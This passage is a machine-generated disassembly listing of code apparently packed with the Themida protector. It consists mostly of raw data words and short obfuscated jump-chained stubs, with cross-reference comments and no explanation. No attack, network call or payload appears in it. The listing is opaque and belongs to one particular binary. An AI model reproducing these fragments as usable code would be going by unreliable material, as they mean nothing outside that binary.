0F78958C6h, 0E92434FFh dd 0FFFFEAD7h ; --------------------------------------------------------------------------- loc_56FBB4: ; CODE XREF: Themida_:0056969Cj mov edx, esp add edx, 4 sub edx, 4 xchg edx, [esp] pop esp mov [esp], eax mov eax, 2DEBF8C6h sub edi, eax mov eax, [esp] add esp, 4 push edi push edi mov edi, 4F381B7Dh sub [esp+4], edi pop edi pop edx jmp loc_5617D4 ; --------------------------------------------------------------------------- db 1 dd 7AC681CEh, 8173B928h, 574708C6h, 240C8B7Bh, 1F53E955h dd 0BE56FFFFh, 0CA05124h, 435DE681h, 0DEF7775Dh, 8AC2C681h dd 0F3897F8Dh, 4F03E95Eh, 0C5810000h, 4, 6E8AB850h, 0D8F70D04h dd 8904EC83h, 7ABE2434h, 0F742D027h, 2B0CE9DEh, 0CE81FFFFh dd 4E8075C1h, 8039C681h, 0F001300Ch, 4C0835Eh, 2474FF50h dd 24048B04h, 0FF12D6E9h, 4C483FFh, 4BE56h, 0F0010000h dd 0E92434FFh, 36BDh, 0B9240C89h, 4, 75B2EF81h, 68E90254h dd 0FFFFFFE1h, 525D2434h, 0C281E289h, 4, 0FFEED2E9h, 4C781FFh dd 0E9000000h, 0FFFF33AFh ; --------------------------------------------------------------------------- loc_56FCA0: ; CODE XREF: Themida_:005687A6j mov [esp], ebp mov ebp, esp push ecx jmp loc_565F16 ; --------------------------------------------------------------------------- db 1 dd 24348BF7h, 0FFFBCDE9h, 53B850FFh, 8948C057h, 0E95358C2h dd 1614h, 44E9EF88h, 8100004Ch, 0DB0137C7h, 7FE95A71h dd 81000049h, 4ECh, 24148900h, 5756E289h, 4BFh, 0E9FE8900h dd 0FFFFB9D1h ; --------------------------------------------------------------------------- loc_56FCF0: ; CODE XREF: Themida_:00570110j mov edi, [esp] add esp, 4 or esi, 8E325F4h add esi, 1CEE171Dh sub ecx, esi mov esi, [esp] jmp loc_57402D ; --------------------------------------------------------------------------- db 31h dd 5A042454h, 83240C8Bh, 0F18104C4h, 0FE7088Bh, 5E48E95Fh dd 3C33FFFFh, 24248B24h, 24148966h, 0E99C5066h, 0FFFF0267h dword_56FD38 dd 0E92434FFh, 0FFFF04CFh ; DATA XREF: Themida_:0055FED8o ; --------------------------------------------------------------------------- loc_56FD40: ; CODE XREF: Themida_:0056F0DDj sub ebp, esi jmp loc_5651AD ; --------------------------------------------------------------------------- loc_56FD47: ; CODE XREF: Themida_:00568B82j sub ecx, edx jmp loc_5694EA ; --------------------------------------------------------------------------- dw 0E957h dd 0FFFFC86Dh ; --------------------------------------------------------------------------- loc_56FD54: ; CODE XREF: Themida_:0056049Aj mov ebx, 4 jmp loc_56E2F9 ; --------------------------------------------------------------------------- loc_56FD5E: ; CODE XREF: Themida_:005657B6j add ebx, 32668414h add ebp, 446D2D6Fh jmp loc_562B7E ; --------------------------------------------------------------------------- db 83h dd 248904ECh, 24048324h, 4055804h, 0E9000000h, 0FFFFD2E7h dd 0C2815A54h, 4, 8704C283h, 3EE92414h, 53FFFFAFh, 0C319BCBBh dd 0EB81430Ah, 0BD02A339h, 295BDD89h, 0E8295EF5h, 9FBBE95Dh dd 0C183FFFFh, 83EE904h, 0E0E90000h db 1, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_56FDBF: ; CODE XREF: Themida_:0056DA04j add edx, 4 xchg edx, [esp] pop esp push edx push 1D7Bh mov [esp], eax push 7BBh jmp loc_56A07E ; --------------------------------------------------------------------------- db 8Bh, 2 dup(24h) dd 0E9240C89h, 0FFFF48B5h, 508A68h, 24048900h, 95B275B4h dd 0FFE384E9h, 24148BFFh, 5604C483h, 4BEh, 0E9F50100h dd 0FFFF5824h, 0B568D9F7h, 89000049h, 22E92414h db 2Ch, 2 dup(0) ; --------------------------------------------------------------------------- loc_56FE17: ; CODE XREF: Themida_:0056B2A8j mov ecx, [esp] add esp, 4 and ecx, 437D160Fh xor ecx, 721D751Eh push ecx xor dword ptr [esp], 210E6A74h pop edx jmp loc_56C891 ; --------------------------------------------------------------------------- db 0FFh dd 0E9592434h, 0FFFF68DDh, 9E92ED81h, 0EB01EAF9h, 0FF96F1E9h dd 5282BFFFh, 0FB016B3Eh, 0C3295A5Fh, 61E95057h, 66FFFFCEh dd 66241C89h, 68242C8Bh, 616Ah, 89243489h, 5695E9E6h, 0F721FFFFh dd 3BE9505Eh, 1FFFF7Ah, 5CB805F8h, 1A0573D7h, 5F24F96Ch dd 31240433h, 4332404h, 0AAE95C24h, 8300003Ah, 30E904C4h dd 59000000h, 4C181h, 0C1830000h, 4EC8104h, 89000000h dd 74FF240Ch, 0B3E90424h, 87FFFF96h, 0E95C2434h, 0FFFFD6EEh dd 2F96C681h, 88E9117Fh, 81FFFFCBh, 4C4h, 240C8700h, 0FFF467E9h dd 6DBF57FFh, 311ED329h, 5F04247Ch, 0E92434FFh, 0FFFFA30Bh ; --------------------------------------------------------------------------- loc_56FEF4: ; CODE XREF: Themida_:00573E8Dj push esp push dword ptr [esp] jmp loc_56568B ; --------------------------------------------------------------------------- db 5Dh, 53h, 0BBh dd 537063B5h, 7CC38143h, 431EC704h, 0E94BD3F7h, 340Ah ; --------------------------------------------------------------------------- loc_56FF14: ; CODE XREF: Themida_:00575183j pop edx add edx, 4 jmp loc_569D16 ; --------------------------------------------------------------------------- dd 2913E868h, 0BFE95F3Ah, 31FFFF28h, 34332434h, 24248B24h dd 9C240401h, 0FF2FA7E9h, 0B4E954FFh db 15h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_56FF43: ; CODE XREF: Themida_:005714D6j mov [esp], edi mov edi, esp sub esp, 4 jmp loc_5627F4 ; --------------------------------------------------------------------------- db 59h dd 0FF3C73E9h, 243C33FFh, 3DE95Ch, 0BE56FFFFh, 3578707Bh dd 0EA97E957h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_56FF6E: ; CODE XREF: Themida_:00564A5Dj sub edx, 961A7AFEh jmp loc_56D098 ; --------------------------------------------------------------------------- loc_56FF79: ; CODE XREF: Themida_:00562CF6j add edi, 4A092687h sub edi, 42C5B133h jmp loc_57136E ; --------------------------------------------------------------------------- aAajiuysx3 db '€íjˆîYéX3',0 dd 0FF672C00h, 4E92434h, 0F7000018h, 29F181D9h, 8710DD37h dd 0E9DBF7D9h, 0B40h, 6866D6F6h, 89662A71h, 0B8B7241Ch dd 5B66FE20h, 0F656B151h, 0DAF180D9h, 306CE980h, 0DAE959CEh dd 1FFFF10h, 0F7C781D7h, 8B4F5D17h, 11E92414h, 81FFFF3Dh dd 0F5C29BE9h, 8BC829F5h, 8957240Ch, 4C781E7h, 83000000h dd 2CE904C7h, 5EFFFFEEh, 0FF8162E9h db 0FFh ; --------------------------------------------------------------------------- loc_570005: ; CODE XREF: Themida_:0056078Aj pop ebp jmp loc_575132 ; --------------------------------------------------------------------------- loc_57000B: ; CODE XREF: Themida_:0056F8CEj add esp, 4 and ecx, edx push dword ptr [esp] pop edx jmp loc_560268 ; --------------------------------------------------------------------------- db 83h, 0ECh, 4 dd 0E9242489h, 0FFFF3D7Fh, 0E924148Bh, 1A88h ; --------------------------------------------------------------------------- loc_57002C: ; CODE XREF: Themida_:005742D2j not bl neg bl add bl, 9Bh add bl, 11h sub ah, bl pop ebx push eax mov ah, 0B2h push ecx mov cl, 54h or ah, cl pop ecx add ah, 0A1h jmp loc_569006 ; --------------------------------------------------------------------------- loc_57004A: ; CODE XREF: Themida_:005667D8j add ch, bl jmp loc_5666FF ; --------------------------------------------------------------------------- loc_570051: ; CODE XREF: Themida_:00567D3Dj push eax mov eax, esp add eax, 4 add eax, 4 xchg eax, [esp] jmp loc_564E29 ; --------------------------------------------------------------------------- dw 0B951h dd 4, 5059CA01h, 0FF3078E9h, 56E389FFh, 4BEh, 0F127E900h db 2 dup(0FFh) word_570082 dw 77FFh ; DATA XREF: Themida_:0055FCECo dd 0FF15E940h, 0CBBAFFFEh, 0D11C2770h, 1EEA81EAh, 81251033h dd 475241CAh, 81DAF75Bh, 47D74BC2h, 0CFEB81FBh, 13A137Ah dd 5712E9D3h, 0ECBEFFFFh, 1358576h, 0BD555EF7h, 5BF6308Ch dd 15DEF01h, 8CEF81CFh, 0E95BF630h, 0FFFFE056h, 0D1BF5758h dd 8110F335h, 8574AF7h, 0E21E918h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5700E2: ; CODE XREF: Themida_:00567781j pop esp mov [esp], esi push esp pop esi push edx mov edx, 6B8F19F9h jmp loc_56AD68 ; --------------------------------------------------------------------------- loc_5700F3: ; CODE XREF: Themida_:005615B2j mov edx, 0EBC1A24h sub esp, 4 jmp loc_56A0A1 ; --------------------------------------------------------------------------- loc_570103: ; CODE XREF: Themida_:005629D6j mov edi, 4D3903A0h xor edi, 3E557EB6h xor esi, edi jmp loc_56FCF0 ; --------------------------------------------------------------------------- db 59h, 81h, 0F2h dd 5E49F8EAh, 685AD531h, 398Fh, 76FE9h db 0 ; --------------------------------------------------------------------------- loc_570129: ; CODE XREF: Themida_:00573C7Fj pop edx jmp loc_564507 ; --------------------------------------------------------------------------- db 58h dd 0FF9BD3E9h db 0FFh ; --------------------------------------------------------------------------- loc_570135: ; CODE XREF: Themida_:00565789j ; Themida_:0056A979j ... push 6E7Eh mov [esp], edi sub esp, 4 mov [esp], ebx push edx mov edx, 60807FADh add [esp+4], edx pop edx jmp loc_56AEFF ; --------------------------------------------------------------------------- db 66h dd 66218968h, 51240489h, 0C180FCB1h, 8BCC88D9h, 0C483240Ch dd 96F48004h, 5866E330h, 30B7C380h, 0B4505BD8h, 0E4805Ah dd 0E7885366h, 0FC88D7F6h, 0C4FE5B66h, 0FF20FCE9h, 2526BAFFh dd 0F2812C91h, 31CC385Eh, 0BB53E2D1h, 1A122D55h, 0C9E9DA09h db 4, 2 dup(0) ; --------------------------------------------------------------------------- loc_5701A7: ; CODE XREF: Themida_:005724CEj xchg ecx, ebx pop ecx jmp loc_56B0AA ; --------------------------------------------------------------------------- db 80h dd 0E950D6C2h, 0FFFFAEFDh ; --------------------------------------------------------------------------- loc_5701B8: ; CODE XREF: Themida_:0056EB10j mov ecx, 4 jmp loc_56106B ; --------------------------------------------------------------------------- loc_5701C2: ; CODE XREF: Themida_:005716C2j mov ebp, [esp] add esp, 4 push ebp mov ebp, 140C06E5h add edx, 66EB377Fh sub edx, ebp jmp loc_56E67D ; --------------------------------------------------------------------------- dd offset dword_4F7844+524h dw 8900h dd 2CE92414h, 83FFFFEEh, 8B042404h, 1DE9242Ch, 5DFFFF2Ah dd 3AB8C281h, 0EA811BEDh, 3ADF2B90h, 0FF6831E9h, 0C1EFD1FFh dd 6DE903EFh db 0EAh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_570213: ; CODE XREF: Themida_:00570432j add edx, 4 xchg edx, [esp] pop esp add ecx, esi mov esi, [esp] add esp, 4 push ebx jmp loc_563B00 ; --------------------------------------------------------------------------- dw 2C8Bh dd 9F3AE924h, 4BBFFFFh, 0E9000000h, 0FFFF358Bh, 5D0B90BAh dd 0F7EF8111h, 0E94F5D17h, 0FFFFFD83h, 2ABE565Ah, 31612F31h dd 0DD895EF3h, 7977055Bh, 0E8013973h, 7379772Dh, 3B5CE939h dd 81430000h, 93776CC3h, 79EB8165h, 16EDD2Fh, 0A2685BD9h dd 0E900003Fh, 0FFFFD7F8h, 0C681E689h, 4, 4C681h, 34870000h dd 0F5685C24h, 89000049h, 0E2892414h, 4C281h, 0EA810000h dd 4, 31241433h, 0AE92414h, 80FFFF19h, 0C9FEFFE9h, 0C830C130h dd 5166C130h, 0AA77E952h, 0C0BDFFFFh, 4515B816h, 11F1ED81h dd 0BA5257C5h, 79E04C6Dh, 176DBB53h, 0DA2141D1h, 0EAC2815Bh dd 0E94613F1h, 0FFFFE04Dh, 690E581h, 0ED8162E0h, 0C7129D4h dd 0FFFBC3E9h db 0FFh ; --------------------------------------------------------------------------- loc_570305: ; CODE XREF: Themida_:005609D8j push edi push esp pop edi add edi, 4 push esi jmp loc_56E45D ; --------------------------------------------------------------------------- dd 54E95250h, 0BAFFFFD8h, 4, 55AD001h, 4, 0E9240487h, 0FFFF1710h dd 52D58851h, 0CBE9EA88h db 87h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_57033B: ; CODE XREF: Themida_:00575138j add ebp, 4 xchg ebp, [esp] pop esp shr eax, 8 jmp loc_565DBC ; --------------------------------------------------------------------------- loc_57034A: ; CODE XREF: Themida_:0056A3F4j mov [esp], esi jmp loc_5717B1 ; --------------------------------------------------------------------------- loc_570352: ; CODE XREF: Themida_:00565C71j pop esp push 68AAh mov [esp], esi jmp loc_574304 ; --------------------------------------------------------------------------- dd 4B951h, 0CE010000h, 74FF5659h, 8F5E0424h, 0E95C2404h dd 0FFFFF68Fh, 285BD900h, 240C8BC8h, 0FF04C483h, 1C8B2434h dd 4C48124h, 0E9000000h, 0FFFF48C0h, 0E987048Fh, 0FFFEFC03h dd 5C240C87h, 0E9243C89h, 29DBh, 6451C6BBh, 5BDA8947h dd 0A363E955h, 7835FFFFh, 54B553Dh, 34B5E9FFh, 158C789h dd 30FF5FFBh, 0FFE59BE9h db 0FFh ; --------------------------------------------------------------------------- loc_5703CD: ; CODE XREF: Themida_:00572E7Ej pop edx and edx, 4E125E05h sub edx, 8C08118Bh add eax, edx pop edx mov esi, [esp] push esi jmp loc_56287B ; --------------------------------------------------------------------------- loc_5703E6: ; CODE XREF: Themida_:00571CF6j sub al, 0B3h sub bl, 27h add bl, al add bl, 27h pop eax push small 7B8Dh mov [esp], dx mov dh, 0CAh add bl, dh mov dx, [esp] sub esp, 4 mov [esp], ecx push esp jmp loc_574FD2 ; --------------------------------------------------------------------------- loc_57040D: ; CODE XREF: Themida_:005696D4j mov eax, 526226F1h and eax, 538745EAh inc eax inc eax add eax, 4C1E252Bh sub eax, 0C0F15EF6h sub esi, eax push dword ptr [esp] pop eax push edx mov edx, esp add edx, 4 jmp loc_570213 ; --------------------------------------------------------------------------- db 68h dd 42D227Bh, 0B6EFE95Dh db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_570442: ; CODE XREF: Themida_:005688E2j push eax jmp loc_56D361 ; --------------------------------------------------------------------------- dd 8759CF01h db 3Ch, 24h, 5Ch ; --------------------------------------------------------------------------- push ebp mov ebp, esp push ebx mov ebx, 4 add ebp, ebx mov ebx, [esp] add esp, 4 add ebp, 4 push ebp push dword ptr [esp+4] pop ebp jmp loc_565890 ; --------------------------------------------------------------------------- dd 405h, 4C08300h, 46E1E9h, 0F8295D00h, 31D9E9h, 8CE95500h dd 81FFFFD8h, 4EAh, 24148700h, 3517E9h, 4C38100h, 87000000h dd 685C241Ch, 5934h, 0E9240C89h, 0FFFFC05Dh, 539CF280h dd 0CB80C2B3h, 92E380C3h, 0DC380h, 0E367E9DAh db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5704CA: ; CODE XREF: Themida_:005676A0j mov ecx, [esp] add esp, 4 sub eax, 538F00CCh add eax, esi jmp loc_56413C ; --------------------------------------------------------------------------- db 5Ah dd 4C481h, 0F2210000h, 5751555Eh, 0E836ABBFh, 5FF9896Ah dd 1E8325BDh, 328DE98Dh db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5704FE: ; CODE XREF: Themida_:00575488j mov ebp, 79842DE4h inc ebp sub ebp, 6E86318Ah not ebp sub ebp, 0ACC98D09h add edi, ebp pop ebp jmp loc_56D009 ; --------------------------------------------------------------------------- loc_57051A: ; CODE XREF: Themida_:00564289j push edx mov edx, 4 add ebx, edx pop edx push edx mov edx, 4 sub ebx, edx jmp loc_568FA7 ; --------------------------------------------------------------------------- dd 0B69E981h, 84E952B2h, 0BFFFFFB9h, 0FBDFEED5h, 15FF901h dd 240C8BCBh, 4EC81h, 1C890000h, 81E38924h, 4C3h, 0D9E95200h dd 89FFFFC5h, 74E9241Ch db 64h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_570567: ; CODE XREF: Themida_:0056BB54j push dword ptr [esp] jmp loc_56BCF1 ; --------------------------------------------------------------------------- loc_57056F: ; CODE XREF: Themida_:0056AA10j mov ebx, esp add ebx, 4 add ebx, 4 xchg ebx, [esp] pop esp xor esi, edi mov edi, [esp] add esp, 4 push ebp mov ebp, esi mov edx, ebp pop ebp pop esi mov ecx, edx pop edx sub [edi+24h], ecx push dword ptr [esp] pop ecx jmp loc_5726D1 ; --------------------------------------------------------------------------- dd 3463F181h, 0D9F77236h, 0FFA9C2E9h, 241C33FFh, 33241C31h dd 85C241Ch, 0E99C2404h, 0FFFEF9E3h, 0C681E689h, 4, 0FF4B93E9h db 0FFh ; --------------------------------------------------------------------------- loc_5705C9: ; CODE XREF: Themida_:005718B3j sub ebp, 4 xchg ebp, [esp] mov esp, [esp] mov [esp], ebx mov bh, 0D6h shr bh, 4 push ecx mov cl, 0CAh sub cl, 0C9h add bh, 0A0h sub bh, cl jmp loc_573441 ; --------------------------------------------------------------------------- aQ8Ss9 db 'Q¹Û;8#é‘9',0 align 4 dd 5C240C87h, 0FEF99EE9h db 0FFh ; --------------------------------------------------------------------------- loc_570601: ; CODE XREF: Themida_:0056C299j mov [esp], ebx mov ebx, 63D61E34h jmp loc_56078F ; --------------------------------------------------------------------------- loc_57060E: ; CODE XREF: Themida_:00570E7Cj push eax sub esp, 4 mov [esp], esp add dword ptr [esp], 4 jmp loc_562CFB ; --------------------------------------------------------------------------- byte_570621 db 68h, 2Dh, 65h ; DATA XREF: Themida_:0055FF00o dd 8F540000h, 54552404h, 4BA525Dh, 81000000h, 4F016EC5h dd 81D50107h, 4F016EEDh, 24148B07h, 5304C483h, 0F60114BBh dd 4702E974h, 48E9FFFFh db 0F9h, 0FEh, 0FFh ; --------------------------------------------------------------------------- loc_570657: ; CODE XREF: Themida_:005719E2j add esi, 3ACB1D3Ch or esi, 1C1D0FABh sub esi, 60584062h sub ebx, esi jmp loc_56768A ; --------------------------------------------------------------------------- dd 0F281425Bh, 2EFE05E0h, 0FEFD20E9h db 0FFh ; --------------------------------------------------------------------------- loc_57067D: ; CODE XREF: Themida_:00572FA3j pop ebx shl eax, 7 shr eax, 6 shl eax, 6 sub eax, 0DAF49FE2h push edi push esi jmp loc_5733DE ; --------------------------------------------------------------------------- loc_570693: ; CODE XREF: Themida_:0056D982j and esi, 4D026521h push 0 sub [esp], esi pop esi add esi, 45024505h mov edi, esi mov esi, [esp] add esp, 4 jmp loc_56F69A ; --------------------------------------------------------------------------- db 21h, 0D0h, 8Bh dd 0C4832414h, 6E8C104h, 0FF2BE0E9h, 4B850FFh, 1000000h dd 58042444h, 5B2434FFh, 8304C483h, 148904ECh, 0D2685724h dd 5F41BF5Fh, 111BF781h, 0BA527BACh, 249F13C4h, 0C4FFEA81h dd 0D729EA8Bh, 4C23E95Ah, 0C9800000h, 5E9C0CDh, 8003E1C0h dd 4F682FE9h, 8900007Ah, 7AB22414h, 3E01E9h, 0D8005800h dd 0A2B685Bh, 0C890000h, 0E906B524h, 0FFFF3438h ; --------------------------------------------------------------------------- loc_57072C: ; CODE XREF: Themida_:00567D45j pop ebx jmp loc_567426 ; --------------------------------------------------------------------------- word_570732 dw 77FFh ; DATA XREF: Themida_:0055FDA0o dd 2434FF1Ch, 582434FFh, 70E768h, 24348900h, 0EC83E689h dd 24148904h, 4BAh, 5AD60100h, 4B850h, 0EE810000h, 4D8E185Bh dd 0C681C601h, 4D8E185Bh, 8324048Bh, 348704C4h, 24248B24h dd 4EC81h, 7EE90000h, 8BFFFF17h, 0B2E92424h, 0FFFFFFEAh dd 0BDE92434h, 89FFFF6Ah, 3E682404h, 0E900007Ah, 0FFFFF7A1h dd 0E958C130h, 0FFFF6175h, 0EF80D728h, 0E7305AA9h, 0F9E9FC30h dd 1FFFFEAh, 0EC815EF1h, 4, 0E9241C89h, 0FFFF33FCh, 33243431h dd 505C2434h, 1168E089h, 89000032h, 0E955240Ch, 0FFFEFC60h ; --------------------------------------------------------------------------- loc_5707DC: ; CODE XREF: Themida_:0057476Fj pop esp jmp loc_55FF9F ; --------------------------------------------------------------------------- loc_5707E2: ; CODE XREF: Themida_:00561CC9j pop eax jmp loc_56B0E7 ; --------------------------------------------------------------------------- dd 5B58C689h, 0FF1E52E9h, 4C381FFh, 53000000h, 42474FFh dd 0FF1CDDE9h, 3E2C1FFh, 7E32E281h, 0BB534F60h, 70704FD0h dd 4C7F381h, 0DA01A426h, 6F68E95Bh, 0D7F7FFFFh, 9EBAC781h dd 0F8897629h, 0D4BA525Fh, 0E9068A60h, 1587h, 8B240487h dd 68512424h, 6A9Ch, 0E9242489h, 3A17h, 0BE243489h, 77445EBEh dd 2BD3E9h db 0 ; --------------------------------------------------------------------------- loc_570855: ; CODE XREF: Themida_:0056C613j pop edi pop esi sub esi, 66F42050h push esi pop eax pop esi jmp loc_56A44D ; --------------------------------------------------------------------------- loc_570865: ; CODE XREF: Themida_:0056DDA9j sub [edi+24h], ecx pop ecx loc_570869: ; CODE XREF: Themida_:0056662Dj push 3713h mov [esp], edx sub esp, 4 mov [esp], ebx sub dword ptr [esp], 17913F0Fh pop edx push esi push 3129h jmp loc_570B9F ; --------------------------------------------------------------------------- aBISf db 'êÄiß]é”<',0 align 4 aISi db '‰,$é›(',0 align 10h a0S db '0Ëé³',1Bh,0 db 0 ; --------------------------------------------------------------------------- loc_5708A7: ; CODE XREF: Themida_:00564590j mov edx, ebx pop ebx mov edi, 6C8316E4h sub edi, edx mov edx, [esp] add esp, 4 add edx, edi jmp loc_56F1E1 ; --------------------------------------------------------------------------- db 50h, 0E9h, 69h dd 0F7FFFF16h, 24802DD8h, 0C501D1C7h, 24348B58h, 4C481h dd 0EA010000h, 51EF815Dh, 51233D04h, 0FF3E53E9h db 0FFh ; --------------------------------------------------------------------------- loc_5708E9: ; CODE XREF: Themida_:0056B43Ej not ebx sub ebx, 0AFF10C29h sub esi, ebx pop ebx and eax, esi jmp loc_562E3C ; --------------------------------------------------------------------------- db 81h dd 4C2h, 24148700h, 1777685Ch, 34890000h, 4EC8124h, 89000000h dd 4BF243Ch, 89000000h, 243C8BFEh, 0FEF8F8E9h, 0F1F766FFh dd 17036866h, 24148966h, 0E99C5066h, 0FFFEF667h ; --------------------------------------------------------------------------- loc_570938: ; CODE XREF: Themida_:00566286j add esp, 4 push 0B62h mov [esp], edx mov edx, 4 sub ecx, 1096426Eh add ecx, edx jmp loc_560066 ; --------------------------------------------------------------------------- db 80h, 0EAh, 0FFh aQZfh db 'Q±‡fh',0 dw 2800h dd 0C8A240Ch, 2C48324h, 5307E9C0h, 119CE9h db 0 ; --------------------------------------------------------------------------- loc_570971: ; CODE XREF: Themida_:005673A6j mov ecx, 0C143874h not ecx xor ecx, 0F3EBC78Fh jmp loc_568FD7 ; --------------------------------------------------------------------------- db 81h dd 957516C3h, 85C38138h, 81044773h, 5C9363EBh, 8BDE89BFh dd 0C481241Ch, 4, 77A366BDh, 84ED8182h, 1779C06h, 84C581F5h dd 0E9779C06h, 0FFFF7EF5h, 0F693EE80h, 0C0C6FED6h, 0EEC004E6h dd 262AE907h, 0DEF7FFFFh, 6A79F681h, 0F2211CB8h, 23E2815Eh dd 4A095B50h, 0E906E2C1h, 0FFFF6AF2h ; --------------------------------------------------------------------------- loc_5709E4: ; CODE XREF: Themida_:00560F4Bj push 5A8Eh mov [esp], ebx mov ebx, 4E616C33h jmp loc_56B429 ; --------------------------------------------------------------------------- loc_5709F6: ; CODE XREF: Themida_:00569D2Aj pop dword ptr [esp] pop esp push 11D3h mov [esp], esi jmp loc_5686BE ; --------------------------------------------------------------------------- db 5Eh dd 0FF583FE9h db 0FFh ; --------------------------------------------------------------------------- loc_570A0D: ; CODE XREF: Themida_:0056975Dj push esi push esp pop esi add esi, 4 jmp loc_571D5A ; --------------------------------------------------------------------------- loc_570A1B: ; CODE XREF: Themida_:00560D18j mov edi, 1CE46C0Ah add edx, edi pop edi pop eax push ebp mov ebp, 174A2ABDh add edx, ebp pop ebp jmp loc_56BB4A ; --------------------------------------------------------------------------- dw 74FFh dd 0E95A0424h, 0FFFFEB72h, 0A11ABCBAh, 2CCBB93Dh, 0D1317288h dd 8324148Bh, 0F93104C4h, 0FF5490E9h, 0E9C301FFh, 0FFFFC507h dd 33241431h, 0E95C2414h, 0CEAh, 0C104C483h, 0C00B00E9h dd 136C840Fh, 20680000h, 89000073h, 96E9241Ch, 66FFFF00h dd 0E987048Fh, 0FFFEF513h, 0E9241489h, 0FFFFFFA8h dword_570A94 dd 9D1C77FFh, 0D3665966h, 0E99C2414h, 0FFFEF4FBh ; DATA XREF: Themida_:0055FE0Co ; --------------------------------------------------------------------------- loc_570AA4: ; CODE XREF: Themida_:005635A9j jmp loc_55FF9F ; --------------------------------------------------------------------------- db 1, 0E8h, 0FFh dd 815D2434h, 4C4h, 98BD5500h, 56E1058h, 54DF2316h, 162DE829h dd 5D54DF23h, 7B33BE56h, 16E96273h, 48FFFF25h, 2A5E940h db 2 dup(0FFh) word_570ADA dw 8B66h ; DATA XREF: Themida_:0055FDECo dd 9B682404h, 89000045h, 0E389241Ch, 0E9525155h, 0FFFF0D9Fh dd 0D1F7D987h, 4E99BD55h, 0BD5573CDh, 209F0A5Ah, 0FFD8BAE9h dd 148B5BFFh, 4C48324h, 0FF811EE9h, 0E9525CFFh, 0FFFFE8A3h dd 54525854h, 8124148Bh, 4C4h, 0B5AE900h, 0CA31FFFFh, 8BD02959h dd 0C4832414h, 0E9505104h, 0FFFF6ABFh ; --------------------------------------------------------------------------- loc_570B3C: ; CODE XREF: Themida_:0056339Dj push ebx mov ebx, 776C7FA3h or edi, ebx pop ebx inc edi push ebx mov ebx, 444E79E4h not ebx xor ebx, 691E3B43h shl ebx, 2 shr ebx, 2 jmp loc_569623 ; --------------------------------------------------------------------------- db 0F6h dd 1AE980D9h, 0CFE9C828h, 81FFFF78h, 8C2D55C3h, 81D3F751h dd 0B7594DF3h, 0E151E989h, 0E95BFFFFh, 0FFFF8AD4h ; --------------------------------------------------------------------------- loc_570B84: ; CODE XREF: Themida_:005734BCj and ecx, edi pop edi shr ecx, 0Bh push edx push edi sub esp, 4 mov [esp], esi mov esi, ebx push esi push ecx push eax jmp loc_566808 ; --------------------------------------------------------------------------- loc_570B9F: ; CODE XREF: Themida_:00570888j mov [esp], ebx mov ebx, 6A947EE6h push 21EA7CFCh pop esi xor esi, ebx pop ebx xor esi, 29784F1Ah push eax jmp loc_572152 ; --------------------------------------------------------------------------- dd 81E18951h, 4C1h, 4C18300h, 5C240C87h, 3302C283h, 85E92414h db 0FEh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_570BD7: ; CODE XREF: Themida_:0056177Fj sub edx, 666D1673h sub ebx, edx jmp loc_56A9DE ; --------------------------------------------------------------------------- dd 0E924048Fh, 256Ch ; --------------------------------------------------------------------------- loc_570BEC: ; CODE XREF: Themida_:0057275Aj dec edi jmp loc_570D2E ; --------------------------------------------------------------------------- dw 0D5F7h dd 0EFE9EE87h db 0Fh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_570BFB: ; CODE XREF: Themida_:00563F6Bj xor eax, 28E90DACh push 2DAh mov [esp], edi push esp pop edi push ebp mov ebp, 7DEE62BAh or ebp, 616056C9h add ebp, 82118909h add edi, 43005ECFh add edi, 5BBF0CCCh jmp loc_56FB59 ; --------------------------------------------------------------------------- loc_570C2D: ; CODE XREF: Themida_:0056BEAFj mov edi, esp add edi, 4 push 4E16h mov [esp], ecx jmp loc_56F712 ; --------------------------------------------------------------------------- dw 5559h dd 3D1856BDh, 0D8F58172h, 0E9545940h, 0FFFF62BBh, 5203E0C0h dd 0C6805EB6h, 0C0EE8072h, 45AF030h, 42C1E991h db 2 dup(0FFh) word_570C6A dw 8B66h ; DATA XREF: Themida_:0055FEDCo dd 57552404h, 0BD55E789h, 4, 815DEF01h, 4EFh, 243C8700h dd 0FFE8DDE9h db 0FFh ; --------------------------------------------------------------------------- loc_570C89: ; CODE XREF: Themida_:00573217j add ebp, 4 xchg ebp, [esp] mov esp, [esp] push ebx mov ebx, 587F7D5Ch push ebx dec dword ptr [esp] mov ebx, [esp] jmp loc_568E67 ; --------------------------------------------------------------------------- aVsi db 'Véˆ ',0 db 0 ; --------------------------------------------------------------------------- loc_570CAD: ; CODE XREF: Themida_:005743C3j sub edx, 39ED111Ch add edx, edi add edx, 39ED111Ch push 37CDh jmp loc_56DF7F ; --------------------------------------------------------------------------- db 81h, 44h, 24h dd 73036B04h, 348B5B61h, 4C48324h, 738068h, 0E2AAE900h dd 0E954FFFFh, 0FFFF3F60h dword_570CE4 dd 2B2A05ADh, 0D8012BF7h, 0E904EC83h, 0FFFF6ECAh, 28C3F680h ; DATA XREF: Themida_:0055FF20o dd 9E95AF3h, 5100003Dh, 6B7BC8B9h, 5E9C174h, 0FF8D5DE9h dd 242C87FFh, 4EC835Ch, 0B9240C89h, 3CD64E29h, 195DE9h dd 4BB00h, 0D8010000h, 618DE95Bh db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_570D2E: ; CODE XREF: Themida_:00570BEDj not edi push ecx mov ecx, 0B651D3E4h xor edi, ecx jmp loc_56A874 ; --------------------------------------------------------------------------- db 5Bh, 0E9h, 11h dd 89FFFF2Dh, 2434FFF3h, 0FFBC43E9h db 0FFh ; --------------------------------------------------------------------------- loc_570D4D: ; CODE XREF: Themida_:00563278j sub ebp, 60DB41C7h jmp loc_560FC8 ; --------------------------------------------------------------------------- dd 83240C89h, 248904ECh, 4B85024h, 1000000h, 58042444h dd 20126859h, 34890000h, 69ECBE24h, 0E951763Ch, 264Ah ; --------------------------------------------------------------------------- loc_570D80: ; CODE XREF: Themida_:0056F8DBj pop edi xor ebx, [esp] jmp loc_56E19D ; 